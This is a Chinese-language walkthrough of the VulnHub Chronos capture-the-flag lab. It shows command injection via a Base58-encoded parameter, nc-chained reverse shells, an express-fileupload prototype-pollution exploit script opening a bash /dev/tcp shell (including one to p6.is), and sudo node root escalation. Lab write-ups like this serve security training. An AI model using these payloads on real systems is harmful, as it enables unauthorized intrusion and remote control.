0x01 下载地址
https://www.vulnhub.com/entry/chronos-1,735/
0x02 靶机目标
取得 2 个 flag + root 权限
0x03 工具准备
-
CyberChef:
-
在线编解码、加解密的工具
-
https://gchq.github.io/CyberChef/
-
express-fileupload
提权漏洞利用:
-
https://blog.p6.is/Real-World-JS-1/
-
简易利用代码
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://p6.is:7777')
-
node提权命令
sudo node -e 'child_process.spawn("/bin/bash", {stdio:[0,1,2]})'
0x04 详细步骤
一、主机发现
Tip:本机所在网段掩码为24为,但为了加速netdiscover
扫描速度建议在原有掩码基础上减8最为合适。
sudo netdiscover -r 10.0.0.0/16
二、端口扫描
sudo nmap -p- 10.0.0.5
sudo nmap -p22,80,8000 -sV 10.0.0.5
三、Web信息收集
-
浏览器访问http://10.0.0.5
var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
使用CyberChef工具-JavaScript Beauity模块后
var _0x5bdf = [
'150447srWefj',
'70lwLrol',
'1658165LmcNig',
'open',
'1260881JUqdKM',
'10737CrnEEe',
'2SjTdWC',
'readyState',
'responseText',
'1278676qXleJg',
'797116soVTES',
'onreadystatechange',
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
'User-Agent',
'status',
'1DYOODT',
'400909Mbbcfr',
'Chronos',
'2QRBPWS',
'getElementById',
'innerHTML',
'date'
];
(function (_0x506b95, _0x817e36) {
var _0x244260 = _0x432d;
while (!![]) {
try {
var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
if (_0x35824b === _0x817e36)
break;
else
_0x506b95['push'](_0x506b95['shift']());
} catch (_0x3fb1dc) {
_0x506b95['push'](_0x506b95['shift']());
}
}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
return _0x432d = function (_0x5bdf82, _0x432dc8) {
_0x5bdf82 = _0x5bdf82 - 126;
var _0x4da6e8 = _0x5bdf[_0x5bdf82];
return _0x4da6e8;
}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
_0x2beb35[_0x17df92(137)] = function () {
var _0x146f5d = _0x17df92;
this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}
-
通过对http://10.0.0.5美化后的JavaScript代码观察,提取了发现一个URL
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
-
结合端口扫描获取信息(目标靶机开启8000端口),通过对以上URL的分析,
chronos.local
很有可能就是目标靶机本身,并通过data?format=获取了系列资源 -
本地hosts绑定chronos.local域名
sudo vi /etc/hosts
10.0.0.5 chronos.local
-
再次刷新http://10.0.0.5,页面发生变化
-
使用Burp记录网站加载过程
-
通过Burp-Repeater测试GET参数
4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
这个参数对获取系统时间有直接作用
-
使用CyberChef工具-Magic模块后,得知该段代码可能是由
Base58
生成的
'+Today is %A, %B %d, %Y %H:%M:%S.'
结合网页收集的信息,该参数和date
输出参数很相似
date '+Today is %A, %B %d, %Y %H:%M:%S.'
有理由猜测该Web应用程序执行的是操作系统指令。
四、命令注入
Linux系统命令拼接符号:|
、;
、&
A||B
表示:A执行失败,执行B
A&&B
表示:A执行成功,执行B
如果在系统执行命令下后拼接ls命令&&ls
,那么系统应该应该列出当前目录中的文件
base58(&&ls
)=yZSGA
五、反弹Shell
查询是否存在nc
base58(&&ls /bin)=VAZYW9RHPu6D
测试nc功能是否正常
base58(&&nc 10.0.0.14 5555)=7z5nTmqVXuNPGFFDd7fEPp4sSU
可以建立连接
使用nc串联方法反弹连接
base58(&&nc 10.0.0.14 5555 | /bin/bash | nc 10.0.0.14 6666)=35LQhf3t1VDY1uAkb5XxPdQXZDCtHCyeeAWa3d54URfj2RdAKSva1Jtc1aXuCggvN8fKws
反弹成功:
六、系统信息收集
查看系统账号,发现存在imera
账户
pwd
id
cat /etc/passwd
cd /home/imera
ls -l
尝试三种常用的提权方法都无法使用:1、内核漏洞;2、suid提权;3、sudo配置错误。
代码审计
-
查看网站根的
package.json
源码,依赖的组件。 -
再次查看
app.js
源码,且有相关命令的检测,但没有过滤,确认存在命令执行漏洞,没有找到更多的提权信息 -
返回上级目录发现了
chronos-v2
目录,进入chronos-v2/backend
目录,发现package.json
和server.js
文件 -
通过对
/opt/chronos-v2/backend/server.js
文件进行审计,发现靶机在127.0.0.1:8080
监听的有一个应用 -
通过对
/opt/chronos-v2/backend/package.json
文件进行审计,发现fileupload({ parseNested: true }
以及"express-fileupload": "^1.1.7-alpha.3"
-
通过多方搜索,发现靶机
express-fileupload
版本存在提权漏洞
七、系统用户提权
-
Kali主机创建py脚本
vi python
-
参照https://blog.p6.is/Real-World-JS-1/写入攻击脚本
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/10.0.0.14/7777 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
-
启动http server,将
exp.py
写入靶机
-
Kali主机:
python3 -m http.server 80
-
靶机
cd /tmp
wget -c http://10.0.0.14/exp.py
-
启动监听端口,执行exp.py反弹Shell
-
Kali
nc -lnvp 7777
-
靶机
python3 exp.py
-
Shell反弹成功,
imera
用户
-
获取用户Flag
cd ~
cat user.txt
八、Root用户提权
sudo -l
sudo node提权
sudo node -e 'child_process.spawn("/bin/bash", {stdio:[0,1,2]})'
获取root用户Flag
cat /root/root.txt
九、彩蛋
cat /home/imera/
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
base64解密:o chronos pernaei file mou
cat /root/root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
base64解密:apopse siopi mazeuoume oneira
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
原文始发于微信公众号(巢安实验室):记一次CHRONOS靶机练习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论